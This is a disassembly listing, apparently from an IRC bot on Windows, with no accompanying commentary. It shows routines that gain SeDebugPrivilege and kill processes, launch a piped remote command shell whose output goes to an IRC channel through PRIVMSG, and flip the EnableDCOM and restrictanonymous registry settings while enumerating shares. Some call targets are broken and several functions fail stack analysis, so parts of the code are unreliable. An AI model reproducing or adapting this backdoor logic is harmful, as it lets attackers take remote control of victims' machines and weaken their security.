		jmp	loc_419890
; ---------------------------------------------------------------------------


loc_4197B7:				; CODE XREF: sub_4196BD+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_419890
		push	0
		push	eax
		nop
		call	near ptr 2710C85h
		test	eax, eax
		jnz	loc_419890


loc_4197DE:				; CODE XREF: sub_4196BD+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_419890
; ---------------------------------------------------------------------------


loc_4197E8:				; CODE XREF: sub_4196BD+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_41987B
		cmp	[ebp+arg_4], eax
		jz	loc_419890
		push	[ebp+var_128]
		push	8
		call	dword_4CB674
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41983B
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CB514
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419841
		lea	eax, [ebp+var_234]
		jmp	short loc_419847
; ---------------------------------------------------------------------------


loc_41983B:				; CODE XREF: sub_4196BD+15Cj
		push	[ebp+var_128]


loc_419841:				; CODE XREF: sub_4196BD+174j
		lea	eax, [ebp+var_10C]


loc_419847:				; CODE XREF: sub_4196BD+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4197DE
; ---------------------------------------------------------------------------


loc_41987B:				; CODE XREF: sub_4196BD+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4198C3


loc_419890:				; CODE XREF: sub_4196BD+F5j
					; sub_4196BD+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CB568
		test	eax, eax
		jnz	loc_419781
		xor	ebx, ebx


loc_4198AA:				; CODE XREF: sub_4196BD+9Dj
					; sub_4196BD+B3j
		push	[ebp+var_8]
		call	esi


loc_4198AF:				; CODE XREF: sub_4196BD+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx


loc_4198BC:				; CODE XREF: sub_4196BD+3Aj
					; sub_4196BD+46j ...
		xor	eax, eax


loc_4198BE:				; CODE XREF: sub_4196BD+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4198C3:				; CODE XREF: sub_4196BD+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		call	near ptr 2710C85h
		nop
		test	eax, eax
		jnz	short loc_4198E7
		push	edi
		call	esi
		jmp	short loc_4198BC
; ---------------------------------------------------------------------------


loc_4198E7:				; CODE XREF: sub_4196BD+223j
		push	1
		pop	eax
		jmp	short loc_4198BE
sub_4196BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198EC	proc near		; DATA XREF: sub_401ACD+26CEo

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_439FB0
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41994B
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A73
		add	esp, 14h


loc_41994B:				; CODE XREF: sub_4198EC+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_4196BD
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419973
		push	offset unk_439F8C
		jmp	short loc_419978
; ---------------------------------------------------------------------------


loc_419973:				; CODE XREF: sub_4198EC+7Ej
		push	offset unk_439F68


loc_419978:				; CODE XREF: sub_4198EC+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4199AB
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A73
		add	esp, 14h


loc_4199AB:				; CODE XREF: sub_4198EC+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4151AD
		push	[ebp+var_14]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26F08BFh
		pop	edi
		pop	esi
sub_4198EC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4199CA	proc near		; CODE XREF: sub_401ACD+78B4p
					; sub_40B232+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	near ptr 26A02EDh
		nop
		mov	esi, eax
		test	esi, esi
		jz	short loc_4199FC
		push	0
		push	esi
		nop
		call	near ptr 2710C85h
		test	eax, eax
		jnz	short loc_4199FC
		push	esi
		xor	edi, edi
		call	near ptr 2680920h
		nop


loc_4199FC:				; CODE XREF: sub_4199CA+1Aj
					; sub_4199CA+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4199CA	endp

; ---------------------------------------------------------------------------
byte_419A01	db 56h,	33h, 0F6h	; DATA XREF: ___:004015EEo
		dd 5656016Ah, 0E8565656h, 0FFFFFCADh, 0FF18C483h, 439DAC35h
		dd 5E89000h, 0EB022775h
		db 0E3h

; =============== S U B	R O U T	I N E =======================================



sub_419A21	proc near		; CODE XREF: sub_419A51+2Ap
					; sub_419A89+7Ep ...
		mov	eax, dword_4DB8D8
		push	esi
		mov	esi, dword_427068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A35
		push	eax
		call	esi


loc_419A35:				; CODE XREF: sub_419A21+Fj
		mov	eax, dword_4DB8E0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A42
		push	eax
		call	esi


loc_419A42:				; CODE XREF: sub_419A21+1Cj
		mov	eax, dword_4DB8D4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A4F
		push	eax
		call	esi


loc_419A4F:				; CODE XREF: sub_419A21+29j
		pop	esi
		retn
sub_419A21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A51	proc near		; CODE XREF: sub_401ACD+7605p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DB8DC
		nop
		call	near ptr 2700649h
		test	eax, eax
		jnz	short loc_419A84
		call	sub_419A21
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419A84:				; CODE XREF: sub_419A51+28j
		push	1
		pop	eax
		leave
		retn
sub_419A51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A89	proc near		; CODE XREF: sub_419B10+D3p
					; sub_419B10+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset dword_43D808
		push	[ebp+arg_4]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419ACC
		push	7D0h
		nop
		call	near ptr 2690F24h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_419AE3
; ---------------------------------------------------------------------------


loc_419ACC:				; CODE XREF: sub_419A89+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_419AE3:				; CODE XREF: sub_419A89+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		test	eax, eax
		jg	short loc_419B0C
		call	sub_419A21


loc_419B0C:				; CODE XREF: sub_419A89+7Cj
		xor	eax, eax
		leave
		retn
sub_419A89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B10	proc near		; DATA XREF: sub_419C65+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DB8E4


loc_419B28:				; CODE XREF: sub_419B10+79j
					; sub_419B10+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DB8D8
		nop
		call	near ptr 28319BEh
		test	eax, eax
		jz	loc_419BF6
		cmp	[ebp+var_4], edi
		jnz	short loc_419B8B
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DB8D4
		nop
		call	near ptr 2831584h
		test	eax, eax
		jz	short loc_419B81
		cmp	[ebp+var_8], 103h
		jnz	loc_419C1A


loc_419B81:				; CODE XREF: sub_419B10+62j
		push	0Ah
		nop
		call	near ptr 2690F24h
		jmp	short loc_419B28
; ---------------------------------------------------------------------------


loc_419B8B:				; CODE XREF: sub_419B10+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_419BA2


loc_419B92:				; CODE XREF: sub_419B10+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_419BF0
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_419B92


loc_419BA2:				; CODE XREF: sub_419B10+80j
		mov	[ebp+var_4], esi


loc_419BA5:				; CODE XREF: sub_419B10+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DB8D8
		call	near ptr 27102B0h
		nop
		test	eax, eax
		jz	short loc_419C42
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DB918
		call	sub_419A89
		add	esp, 0Ch
		jmp	loc_419B28
; ---------------------------------------------------------------------------


loc_419BF0:				; CODE XREF: sub_419B10+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_419BA5
; ---------------------------------------------------------------------------


loc_419BF6:				; CODE XREF: sub_419B10+45j
		push	offset unk_43A038
		push	ebx
		push	dword_4DB918
		call	sub_419A89
		push	[ebp+arg_0]
		call	sub_40B413
		add	esp, 10h
		push	1
		nop
		call	near ptr 26F08BFh


loc_419C1A:				; CODE XREF: sub_419B10+6Bj
		call	sub_419A21
		push	offset unk_43A010
		push	ebx
		push	dword_4DB918
		call	sub_419A89
		push	[ebp+arg_0]
		call	sub_40B413
		add	esp, 10h
		push	edi
		call	near ptr 26F08BFh
		nop


loc_419C42:				; CODE XREF: sub_419B10+C3j
		push	offset unk_439FE0
		push	ebx
		push	dword_4DB918
		call	sub_419A89
		push	[ebp+arg_0]
		call	sub_40B413
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26F08BFh
sub_419B10	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C65	proc near		; CODE XREF: sub_401ACD+2508p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419A21
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_433C04
		push	esi
		call	dword_4CB710
		test	eax, eax
		jz	loc_419D5F
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_4270FC
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_419D5F
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_419D5F
		mov	edi, dword_4270F8
		push	3
		push	esi
		push	esi
		push	offset dword_4DB8DC
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 2720000h
		test	eax, eax
		jz	short loc_419D5F
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset dword_43D808
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 2680D3Bh
		test	eax, eax
		jnz	short loc_419D67


loc_419D5F:				; CODE XREF: sub_419C65+2Fj
					; sub_419C65+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_419E15
; ---------------------------------------------------------------------------


loc_419D67:				; CODE XREF: sub_419C65+F8j
		push	[ebp+var_4]
		mov	edi, dword_427068
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DB8D8, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DB8E0, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DB8D4, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DB918, eax
		jz	short loc_419DA1
		push	[ebp+arg_4]
		jmp	short loc_419DA2
; ---------------------------------------------------------------------------


loc_419DA1:				; CODE XREF: sub_419C65+135j
		push	ebx


loc_419DA2:				; CODE XREF: sub_419C65+13Aj
		push	offset dword_4DB8E4
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_43A09C
		call	sub_40B0F7
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43E598[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_419B10
		push	esi
		push	esi
		call	near ptr 26A0000h
		nop
		cmp	eax, esi
		mov	dword_43E5A4[edi], eax
		jnz	short loc_419E13
		nop
		call	near ptr 26A08EAh
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_43A068
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_419E13:				; CODE XREF: sub_419C65+185j
		xor	eax, eax


loc_419E15:				; CODE XREF: sub_419C65+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419C65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E1A	proc near		; DATA XREF: sub_401ACD+2E0Co

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_419E61
		call	sub_419E7A
		jmp	short loc_419E66
; ---------------------------------------------------------------------------


loc_419E61:				; CODE XREF: sub_419E1A+3Ej
		call	sub_41A19E


loc_419E66:				; CODE XREF: sub_419E1A+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B413
		pop	ecx
		push	0
		nop
		call	near ptr 26F08BFh
sub_419E1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E7A	proc near		; CODE XREF: sub_419E1A+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CB724, edi
		jnz	loc_419FAC
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB6C4
		test	eax, eax
		jnz	short loc_419F05
		mov	ax, word_438E18
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB678
		test	eax, eax
		jz	short loc_419EE7
		push	offset dword_43A338
		jmp	short loc_419EEC
; ---------------------------------------------------------------------------


loc_419EE7:				; CODE XREF: sub_419E7A+64j
		push	offset dword_43A318


loc_419EEC:				; CODE XREF: sub_419E7A+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB630
		jmp	short loc_419F18
; ---------------------------------------------------------------------------


loc_419F05:				; CODE XREF: sub_419E7A+36j
		lea	eax, [ebp+var_214]
		push	offset dword_43A2E8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419F18:				; CODE XREF: sub_419E7A+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419F37
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_419F37:				; CODE XREF: sub_419E7A+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB6C4
		test	eax, eax
		jnz	short loc_419FA5
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CB678
		test	eax, eax
		jz	short loc_419F87
		push	offset dword_43A298
		jmp	short loc_419F8C
; ---------------------------------------------------------------------------


loc_419F87:				; CODE XREF: sub_419E7A+104j
		push	offset dword_43A264


loc_419F8C:				; CODE XREF: sub_419E7A+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB630
		jmp	short loc_419FBF
; ---------------------------------------------------------------------------


loc_419FA5:				; CODE XREF: sub_419E7A+E2j
		push	offset dword_43A228
		jmp	short loc_419FB1
; ---------------------------------------------------------------------------


loc_419FAC:				; CODE XREF: sub_419E7A+13j
		push	offset dword_43A1F8


loc_419FB1:				; CODE XREF: sub_419E7A+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419FBF:				; CODE XREF: sub_419E7A+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419FDE
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_419FDE:				; CODE XREF: sub_419E7A+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		cmp	dword_4CB74C, edi
		pop	ecx
		jnz	loc_41A159
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A001:				; CODE XREF: sub_419E7A+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CB598
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A09E
		cmp	eax, 0EAh
		jz	short loc_41A09E
		mov	esi, offset off_43A0C0


loc_41A032:				; CODE XREF: sub_419E7A+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_418C6C
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A049
		push	offset dword_43A1D4
		jmp	short loc_41A04E
; ---------------------------------------------------------------------------


loc_41A049:				; CODE XREF: sub_419E7A+1C6j
		push	offset dword_43A1A8


loc_41A04E:				; CODE XREF: sub_419E7A+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A081
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A081:				; CODE XREF: sub_419E7A+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A0E0
		jb	short loc_41A032
		jmp	loc_41A136
; ---------------------------------------------------------------------------


loc_41A09E:				; CODE XREF: sub_419E7A+1AAj
					; sub_419E7A+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A12D


loc_41A0AD:				; CODE XREF: sub_419E7A+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41D817
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A122
		push	edi
		call	sub_418B59
		push	eax
		push	0
		call	sub_418C6C
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A0DC
		push	offset dword_43A184
		jmp	short loc_41A0E1
; ---------------------------------------------------------------------------


loc_41A0DC:				; CODE XREF: sub_419E7A+259j
		push	offset dword_43A158


loc_41A0E1:				; CODE XREF: sub_419E7A+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A115
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A115:				; CODE XREF: sub_419E7A+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_41A122:				; CODE XREF: sub_419E7A+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A0AD
		xor	edi, edi


loc_41A12D:				; CODE XREF: sub_419E7A+22Dj
		push	[ebp+var_8]
		call	dword_4CB6E4


loc_41A136:				; CODE XREF: sub_419E7A+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A001
		lea	eax, [ebp+var_214]
		push	offset dword_43A130
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A16C
; ---------------------------------------------------------------------------


loc_41A159:				; CODE XREF: sub_419E7A+177j
		lea	eax, [ebp+var_214]
		push	offset dword_43A100
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A16C:				; CODE XREF: sub_419E7A+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A18A
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A18A:				; CODE XREF: sub_419E7A+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_419E7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A19E	proc near		; CODE XREF: sub_419E1A:loc_419E61p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CB724, ebx
		push	esi
		jnz	loc_41A2CC
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB6C4
		test	eax, eax
		jnz	short loc_41A229
		mov	ax, word_438E5C
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB678
		test	eax, eax
		jz	short loc_41A20B
		push	offset dword_43A4B0
		jmp	short loc_41A210
; ---------------------------------------------------------------------------


loc_41A20B:				; CODE XREF: sub_41A19E+64j
		push	offset dword_43A494


loc_41A210:				; CODE XREF: sub_41A19E+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB630
		jmp	short loc_41A23C
; ---------------------------------------------------------------------------


loc_41A229:				; CODE XREF: sub_41A19E+36j
		lea	eax, [ebp+var_220]
		push	offset dword_43A2E8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A23C:				; CODE XREF: sub_41A19E+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A25B
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A25B:				; CODE XREF: sub_41A19E+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB6C4
		test	eax, eax
		jnz	short loc_41A2C5
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CB678
		test	eax, eax
		jz	short loc_41A2A7
		push	offset dword_43A454
		jmp	short loc_41A2AC
; ---------------------------------------------------------------------------


loc_41A2A7:				; CODE XREF: sub_41A19E+100j
		push	offset dword_43A41C


loc_41A2AC:				; CODE XREF: sub_41A19E+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
